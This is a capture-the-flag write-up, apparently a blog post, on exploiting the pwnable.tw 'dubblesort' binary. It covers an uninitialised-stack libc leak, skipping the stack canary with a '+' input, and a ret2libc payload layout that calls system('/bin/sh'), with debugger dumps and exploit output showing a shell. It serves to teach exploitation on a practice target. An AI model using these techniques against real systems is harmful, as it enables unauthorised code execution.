Dubblesort

Dubblesort Link to heading

Okay this was by far the most frustrating challenge yet. So many issues that took way too long to fix. Nevertheless, it’s solved and here’s how it’s done.

Start out by checking the security on the binary:

pwn checksec ./dubblesort
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

Yikes. Alright looks like there’s gonna be a very specific bug here. Lets test out the program to see what happens:

What your name :a
Hello a
��,How many numbers do you what to sort :2
Enter the 0 number : 1
Enter the 1 number : 2
Processing......
Result :
1 2

Hmmm. Looks like there’s some weird stuff going on when it asks for your name. After a look in GDB, looks like it’s just printing out whatever is on the stack. There’s some random values there to look at:

pwndbg> x/20x 0xffffda3c <- Location of name on the stack
0xffffda3c:     0x000040d7      0xffffdc69      0x0000002f      0x0000009e
0xffffda4c:     0x00000016      0x00008000      0xf7fcf000      0xf7fcd244

Woah that 7th value is interesting… After a check in vmmap I can see it’s the GOT of libc. This means if we leak this, there is a chance of a ret2libc attack. Alright lets try it to see what we get. I need to input 25 “A"s and I should be able to leak that value. The reason it has to be 25 and not 24 is because the printf call will stop the print at the null value in the address (e.g 0xf7fcf000) the first character \x00 will stop the printf before it prints the rest of the address. So we can overwrite that last value and it should print the whole thing like this: 0xf7fcf041 in this case: 0x41 is the hex value of “A” which will be printed to the screen along with the rest of the address. After this leak, we now can calculate the base of libc.

Okay have a libc leak. How can we utilize this to our advantage. My first though was hey maybe if I buffer overflow the part where it asks me for the number I’d like to sort maybe I can overwrite the return address on the stack. Welp:

What your name :A
Hello A
��,How many numbers do you what to sort :1
Enter the 0 number : 111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Processing......
Result :
4294967295

Okay looks like it converts my number directly into a %u unsigned integer

 0x56555a95 <main+210>    call   __isoc99_scanf@plt
        format: 0x56555bfa ◂— 0x45007525 /* '%u' */
        vararg: 0xffffda4c —▸ 0xf7ffc7e0

Yep.

Okay what if we figure out a way to exploit the sorting function. Maybe there’s some weird stuff with the sorting function that would cause some funkiness in the program. Lets try it:

What your name :a
Hello a
��,How many numbers do you what to sort :25
Enter the 0 number : 1
Enter the 1 number : 1
Enter the 2 number : 1
Enter the 3 number : 1
Enter the 4 number : 1
Enter the 5 number : 1
Enter the 6 number : 1
Enter the 7 number : 1
Enter the 8 number : 1
Enter the 9 number : 1
Enter the 10 number : 1
Enter the 11 number : 1
Enter the 12 number : 1
Enter the 13 number : 1
Enter the 14 number : 1
Enter the 15 number : 1
Enter the 16 number : 1
Enter the 17 number : 1
Enter the 18 number : 1
Enter the 19 number : 1
Enter the 20 number : 1
Enter the 21 number : 1
Enter the 22 number : 1
Enter the 23 number : 1
Enter the 24 number : 1
Processing......
1Result :
1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 *** stack smashing detected ***: terminated

OOOH we got a stack smash. HUH??? What’s going on. I took a look at our input in GDB to see what I could make of it: Before input:

pwndbg> x/30x 0xffffda4c
0xffffda4c:     0xf7ffc7e0      0x00000000      0x00000000      0x00005034
0xffffda5c:     0x5998aa00      0x029c6fbf      0x00000534      0x0000009e
0xffffda6c:     0xf7fb0a61      0x00000000      0xf7fba000      0xf7ffc7e0
0xffffda7c:     0xf7fbdc68      0xf7fba000      0xf7fe22f0      0x00000000
0xffffda8c:     0x56555601      0x565557a9      0x56556fa0      0x00000001
0xffffda9c:     0x56555b72      0x00000001      0xffffdb64      0xffffdb6c
0xffffdaac:     0x5998aa00 <- Stack Canary

After input:

0xffffda4c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffda5c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffda6c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffda7c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffda8c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffda9c:     0x00000001      0x00000001      0x00000001      0x00000001
0xffffdaac:     0x00000001 <- Was stack canary

Okay we overwrote the stack canary. That sucks, but that means if we can do that, we can overwrite the return address. The only problem is the stack canary will always be in the way. If only there was a way to skip over the canary… Well if I try to enter a letter “L” into the input at any point. It crashes the scanf function and it doesn’t read anything else. This was the method I started with, but soon found out a much better solution. If you enter the “+” symbol instead of the number, it won’t crash the scanf function, but it also won’t overwrite whatever is in memory at that spot. So If I do this at the stack canary it will prevent it from being overwritten. There’s one more obstacle in this: Whatever I enter needs to be in ascending order. This is a sorting function right?

Alright so looks like I have all the information I need now to complete the exploit. I start out with a leak in libc. Then I enter an ascending stack with a “+” at the 25th spot and then All the values afterward need to be larger than the stack canary. This would allow me to overwrite the return address and change the control flow of the program. The inputs would look a little like this:

"1" * 24
"+" 
"<addr_system>" * 9 <-- 9th value overwrites return addr
"<addr_binsh>"

Since I have the address of libc, I can calculate all the offsets to get the address of system and the string “/bin/sh”. When the program returns it will call system("/bin/sh") And there’s our shell.

[b'Hello', b'AAAAAAAAAAAAAAAAAAAAAAAAAPm\xf7D2m\xf7\x01\xf6YV\xa9\xf7YV\xa0\x0fZV\x01', b'How', b'many', b'numbers', b'do', b'you', b'what', b'to', b'sort', b':']
./e.py:34: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(length))
./e.py:48: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(system))
./e.py:52: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendline(str(binsh))
Processing......
Result :
4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 2294056704 4149606720 4149606720 4149606720 4149606720 4149606720 4149606720 4149606720 4149606720 4149606720 4150779531 $ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

For more details on the actual exploit script take a look at e.py in the repo.

Issues Link to heading

I thought I’d add an issues section for this challenge because I didn’t necessarily have much trouble with the exploit, but I had a lot of problems with the setup of the program.

This is the first program on pwnable.tw that I’ve done that offers a download of the libc that is supposed to be used in the program. What they didn’t include was a copy of the ld.so for the program. This means that the program will run on your personal libc and the exploit will not actually be the same as the remote one.

The way to get around this is to patch the elf to use the libc that they give you. I found a super nice tool called pwninit That you can use to patch the ELF automatically. It’s like magic. Just hop into the directory with the libc and the binary you want to patch and run pwninit and it will find the necessary files and patch the ELF. This was essential to solving the problem. Without this, I would not have been able to run the binary in gdb and find the proper offsets.